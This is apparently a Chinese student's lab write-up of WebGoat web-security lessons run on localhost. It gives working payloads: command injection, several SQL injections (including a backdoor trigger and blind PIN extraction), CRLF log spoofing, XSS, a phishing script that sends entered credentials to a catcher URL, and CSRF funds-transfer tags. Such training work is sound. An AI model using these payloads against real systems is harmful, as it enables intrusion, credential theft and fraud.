(由于图片比较大,看的时候需要关闭侧边栏~)
< >(尖括号)、”(引号)、‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等等webgoat-container-7.0.1-war-exec.jar:https://github.com/WebGoat/WebGoat/releases?after=8.0.0
java -jar webgoat-container-7.0.1-war-exec.jarStarting ProtocolHandler ["http-bio-8080"]说明开启成功,可以看到占用8080端口,实验过程中不能关闭终端
http://localhost:8080/WebGoat进入WebGoat登录界面,用户名密码已经有默认的,直接输入就好:
inspect Element审查网页元素对源代码进行修改,在任意一行添加"& netstat -an & ipconfig":
view,能看到网络端口使用情况和IP地址,攻击成功!
SELECT * FROM weather_data WHERE station = [station]inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1:
Go!,攻击成功!下面将显示所有城市的天气情况:
LZH Login Succeeded for username admin,这样用户名后面的信息会在同一行显示,而不是在新的一行:
回车(0D%)和换行符(%0A),在 username 中填入LZH%0d%0aLogin Succeeded for username: admin
admin <script>alert(document.cookie)</script>,管理员可以看到弹窗的cookie信息
SELECT * FROM user_data WHERE last_name = ‘?‘
Smith‘ or 1=1--,成功!!返回了全体员工的信用卡信息!
inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为30
Smith‘ or ‘1‘ = ‘1,攻击成功,得到所有人员列表:
1、使用用户名Larry,密码larry登录,点击ViewProfile查看用户信息

2、右键点击页面,选择inspect Element审查网页元素源代码,我们可以看到数据库索引的依据是员工ID(employee_id),推测返回的是每次查询到的第一条数据

3、用社会工程学解释老板应该是工资最高的,所以将员工ID的value改成101 or 1=1 order by salary desc,使得老板的信息作为查询到的第一条数据,成功获得老板的详细数据!!!

101,得到该用户的信息
101; update employee set salary=10000执行两个语句,我们可以看到,larry的工资从55000变成了10000哈哈哈哈
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘john@hackme.com‘WHERE userid = NEW.userid用来注入一个充当SQL后门的触发器,该触发器的触发频率是针对每一行数据触发一次
SELECT * FROM user_data WHERE userid=accountNumber;2、如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。
3、输入查询语句101 AND 1=1,因为两个条件都成立,所以页面返回帐号有效(图中Account number is valid)

4、而当我们输入查询语句101 AND 1=0,因为第二个条件不成立,所以而页面返回帐号无效(图中Invalid account number.)

5、针对查询语句的后半部分构造语句101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) < 10000 );,返回值为真,所以pin字段数值小于10000

6、然后我们继续改变查询的数值范围,直到找出正确的值为2364

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) < ‘K‘ );取得 pin 字段数值的第一个字母,并判断其是否比字 母“K”小,结果为真!
SUBSTRING(STRING,START,LENGTH)3、最终,判断出pin字段的值为:Jill

http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam1、编写一个带用户名和密码输入框的表格
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
2、编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
3、现在我们将以上两段代码合并,搜索这一大段代码,我们会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录, WebGoat 会将输入的信息捕获并反馈回来
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>

<script>alert("I am LZH !");</script>,然后点击下方的hhh,会弹出一个框,显示I am LZH !
<script>alert("I am LZH !");</script>,点击Purchase
<img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/>www.mybank.com的me端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。屏幕和菜单参数,以及一个额外的参数transferFunds,其数值为5000。您可以通过在右侧插入的参数中找到Screen和menu值来构造链接。当时经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。当本课程的攻击成功时,左侧菜单中的课程名称旁边会出现一个绿色的复选标记1、查看页面右侧Parameters中的src和menu的值,分别为312和900

2、在title中输入任何参数,在message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=312&menu=900&transferFunds=5000" width="1" height="1" />,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
3、在Message List中生成以Title命名的链接。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的

transferFunds,其中包含一个数值5000来启动传输,一个字符串值CONFIRM来完成传输。您可以从右边的插图中复制课程的参数,创建格式为“attack?Screen=XXX&menu=YYY&transferFunds=ZZZ”的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单上发现绿色复选框1、查看页面右侧Parameters中的src和menu值分别为298和900

2、并在title框中输入LZH,message框中输入代码,然后点击Submit:
<iframe src="attack?Screen=298&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=320&menu=900&transferFunds=CONFIRM"> </iframe>
3、在Message List中生成以Title命名的链接,点击进入后,攻击成功


sudo mkdir -p /usr/local/java
sudo cp jdk-8u211-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
sudo tar xzvf jdk-8u211-linux-x64.tar.gz
sudo vim /etc/profile
###复制以下代码到文件结尾
JAVA_HOME=/usr/local/java/jdk1.8.0_211
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_211/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_211/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_211/bin/javaws" 1
sudo update-alternatives --set java /usr/local/java/jdk1.8.0_211/bin/java
sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_211/bin/javac
sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_211/bin/javaws
source /etc/profile
java -version查看jdk版本,如下图已经安装成功!
??这次的实验内容比较多,但是让我更加直观的体验到了web攻击的威力,平时只是听说这些,真正自己做的时候还是很有乐趣的
Exp9 Web安全基础 Week13 - 20165201
原文:https://www.cnblogs.com/cbmwtsl/p/10927692.html